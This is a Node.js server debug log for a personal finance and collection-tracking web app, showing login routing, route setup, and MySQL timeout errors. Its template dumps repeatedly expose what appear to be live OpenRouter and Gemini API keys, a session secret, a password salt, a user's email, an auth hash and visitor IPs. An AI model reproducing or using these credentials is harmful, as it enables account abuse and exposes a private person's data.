  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-06T03:17:49.748Z server-connect:output restrict: undefined
2026-04-06T03:17:51.884Z server-connect:router Serving templateView /login
2026-04-06T03:17:51.885Z server-connect:app Executing action step identify
2026-04-06T03:17:51.885Z server-connect:app options: { provider: 'security' }
2026-04-06T03:17:51.885Z server-connect:auth No login cookie found
2026-04-06T03:17:51.885Z server-connect:output identity: false
2026-04-06T03:17:51.885Z server-connect:router Render template layouts/authentication
2026-04-06T03:17:51.885Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '2602:80d:1007::37',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-07T03:17:51.884Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2602:80d:1007::37',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '2602:80d:1007::37',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-06T04:28:33.280Z server-connect:router Serving templateView /
2026-04-06T04:28:33.282Z server-connect:app Executing action step identify
2026-04-06T04:28:33.282Z server-connect:app options: { provider: 'security' }
2026-04-06T04:28:33.282Z server-connect:auth No login cookie found
2026-04-06T04:28:33.282Z server-connect:output identity: false
2026-04-06T04:28:33.282Z server-connect:app Executing action step restrict
2026-04-06T04:28:33.282Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-06T04:28:33.282Z server-connect:output restrict: undefined
2026-04-06T04:28:33.471Z server-connect:router Serving templateView /login
2026-04-06T04:28:33.472Z server-connect:app Executing action step identify
2026-04-06T04:28:33.472Z server-connect:app options: { provider: 'security' }
2026-04-06T04:28:33.472Z server-connect:auth No login cookie found
2026-04-06T04:28:33.472Z server-connect:output identity: false
2026-04-06T04:28:33.472Z server-connect:router Render template layouts/authentication
2026-04-06T04:28:33.472Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.181.89',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-07T04:28:33.471Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.89',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.181.89',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-06 07:32:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-06 07:32:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-06 12:52:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-06 12:52:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-06 13:51:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-06 13:51:16' as DATETIME)"
}
2026-04-07T14:33:05.104Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-07T14:33:07.373Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-07T14:33:08.236Z server-connect:setup:upload Upload middleware configured.
2026-04-07T14:33:08.237Z server-connect:secure CSRF Protection initialized
2026-04-07T14:33:08.242Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-07T14:33:08.242Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-07T14:33:08.245Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-07T14:33:08.249Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-07T14:33:08.253Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-07T14:33:08.261Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-07T14:33:08.275Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-07T14:33:08.286Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-07T14:33:08.290Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-07T14:33:08.292Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-07T14:33:08.294Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-07T14:33:08.298Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-07T14:33:08.304Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-07T14:33:08.313Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-07T14:33:08.318Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-07T14:33:08.390Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-07T14:33:08.391Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-07T14:33:08.396Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-07T14:33:08.401Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-07T14:33:08.405Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-07T14:33:08.407Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-07T14:33:08.415Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-07T14:33:08.417Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-07T14:33:08.423Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-07T14:33:08.425Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-07T14:33:08.429Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-07T14:33:08.431Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-07T14:33:08.433Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-07T14:33:08.439Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-07T14:33:08.441Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-07T14:33:08.442Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-07T14:33:08.444Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-07T14:33:08.448Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-07T14:33:08.450Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-07T14:33:08.456Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-07T14:33:08.460Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-07T14:33:08.462Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-07T14:33:08.472Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-07 16:20:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-07 16:20:09' as DATETIME)"
}
2026-04-07T16:28:01.053Z server-connect:router Serving templateView /
2026-04-07T16:28:01.057Z server-connect:app Executing action step identify
2026-04-07T16:28:01.057Z server-connect:app options: { provider: 'security' }
2026-04-07T16:28:01.063Z server-connect:auth No login cookie found
2026-04-07T16:28:01.063Z server-connect:output identity: false
2026-04-07T16:28:01.063Z server-connect:app Executing action step restrict
2026-04-07T16:28:01.063Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:28:01.066Z server-connect:output restrict: undefined
2026-04-07T16:28:01.271Z server-connect:router Serving templateView /login
2026-04-07T16:28:01.271Z server-connect:app Executing action step identify
2026-04-07T16:28:01.271Z server-connect:app options: { provider: 'security' }
2026-04-07T16:28:01.271Z server-connect:auth No login cookie found
2026-04-07T16:28:01.271Z server-connect:output identity: false
2026-04-07T16:28:01.271Z server-connect:router Render template layouts/authentication
2026-04-07T16:28:01.272Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    'x-forwarded-for': '2405:201:5c04:610c:ed48:6666:2fd2:d2a5',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:01.270Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2405:201:5c04:610c:ed48:6666:2fd2:d2a5',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:610c:ed48:6666:2fd2:d2a5',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T16:28:05.550Z server-connect:router Serving serverConnect /api/access-control/login
2026-04-07T16:28:05.551Z server-connect:app Executing action step identify
2026-04-07T16:28:05.551Z server-connect:app options: { provider: 'security' }
2026-04-07T16:28:05.551Z server-connect:auth No login cookie found
2026-04-07T16:28:05.551Z server-connect:output identity: false
2026-04-07T16:28:05.551Z server-connect:app Executing action step login
2026-04-07T16:28:05.551Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-04-07T16:28:05.556Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-04-07T16:28:05.612Z server-connect:output identity: 1
2026-04-07T16:28:05.612Z server-connect:app Executing action step restrict
2026-04-07T16:28:05.612Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:28:05.613Z server-connect:output restrict: undefined
2026-04-07T16:28:32.822Z server-connect:router Serving templateView /
2026-04-07T16:28:32.823Z server-connect:app Executing action step identify
2026-04-07T16:28:32.823Z server-connect:app options: { provider: 'security' }
2026-04-07T16:28:32.823Z server-connect:output identity: 1
2026-04-07T16:28:32.823Z server-connect:app Executing action step restrict
2026-04-07T16:28:32.823Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:28:32.824Z server-connect:output restrict: undefined
2026-04-07T16:28:32.824Z server-connect:app Executing action step restrict
2026-04-07T16:28:32.824Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:28:32.824Z server-connect:output restrict: undefined
2026-04-07T16:28:32.824Z server-connect:router Render template layouts/main
2026-04-07T16:28:32.825Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
